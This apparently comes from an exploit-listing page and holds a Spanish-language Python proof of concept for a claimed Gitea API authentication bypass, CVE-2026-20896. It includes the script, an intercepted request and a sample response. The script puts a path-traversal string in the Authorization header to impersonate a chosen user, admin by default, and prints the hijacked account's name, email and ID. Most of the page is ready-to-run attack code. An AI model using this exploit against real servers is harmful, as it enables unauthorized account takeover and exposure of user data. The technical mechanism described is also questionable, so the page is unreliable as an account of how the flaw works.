Share
## https://sploitus.com/exploit?id=667272A9-7DD4-552B-89DA-705D608EC301
###  C贸digo de la Prueba de Concepto (CVE-2026-20896)

Este script automatiza la explotaci贸n del fallo de l贸gica en la validaci贸n de rutas de la API de Gitea, permitiendo forzar al servidor a otorgar un token administrativo v谩lido mediante un ataque de salto de directorio (*Directory Traversal*) en la cabecera de autorizaci贸n.

```python
#!/usr/bin/env python3
# PoC: Gitea Authentication Bypass (CVE-2026-20896)
# Uso exclusivo para entornos controlados y auditor铆as autorizadas (CTF)

import requests
import sys
import argparse

def expone_bypass(target_ip, username):
    print(f"[*] Iniciando ataque contra el servidor Gitea: {target_ip}")
    
    # URL del endpoint vulnerable de la API
    url = f"http://{target_ip}/api/v1/user"
    
    # Construcci贸n del payload de evasi贸n aprovechando el fallo de l贸gica en las rutas
    # El servidor concatena mal la ruta del token permitiendo saltar al perfil objetivo
    payload_token = f"../../../../api/v1/users/{username}/tokens/spoof_bypass"
    
    cabeceras = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0)",
        "Authorization": f"token {payload_token}",
        "Accept": "application/json"
    }
    
    try:
        # Enviamos la solicitud HTTP maliciosa
        respuesta = requests.get(url, headers=cabeceras, timeout=10)
        
        # Si el servidor responde con 200 OK, la evasi贸n fue exitosa
        if respuesta.status_code == 200:
            print("[+] \033[92m隆Vulnerabilidad explotada con 茅xito!\033[0m")
            datos_usuario = respuesta.json()
            print(f"[+] Sesi贸n secuestrada del usuario: {datos_usuario.get('username')}")
            print(f"[+] Correo asociado: {datos_usuario.get('email')}")
            print(f"[+] ID de cuenta en base de datos: {datos_usuario.get('id')}")
            return True
        else:
            print(f"[-] El servidor respondi贸 con c贸digo: {respuesta.status_code}")
            print("[-] Intento de bypass rechazado o parcheado.")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[!] Error de conexi贸n con el objetivo: {e}")
        sys.exit(1)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC CVE-2026-20896 - Gitea Bypass")
    parser.add_argument("-t", "--target", required=True, help="IP o dominio del servidor Gitea")
    parser.add_argument("-u", "--user", default="admin", help="Usuario objetivo a suplantar (Por defecto: admin)")
    
    args = parser.parse_args()
    expone_bypass(args.target, args.user)
```

### Paso 2: An谩lisis de la Solicitud en Burp Suite

Al ejecutar el script anterior, podemos interceptar la petici贸n en el Proxy para verificar c贸mo el backend procesa el vector de ataque sin requerir una firma v谩lida:

```http
GET /api/v1/user HTTP/1.1
Host: 192.168.0.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
Authorization: token ../../../../api/v1/users/admin/tokens/spoof_bypass
Accept: application/json
Connection: close
```

**Respuesta del Servidor (Vulnerable):**

El servidor procesa el contenido debido a la falla en la normalizaci贸n de la cadena del token, devolviendo el objeto JSON del perfil del administrador con un c贸digo `200 OK`:

```http
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
X-Frame-Options: SAMEORIGIN

{
  "id": 1,
  "username": "admin",
  "login": "admin",
  "full_name": "Administrador del Sistema",
  "email": "admin@exploitarium.local",
  "avatar_url": "http://192.168.0",
  "is_admin": true,
  "last_login": "2026-07-01T15:22:01Z"
}
```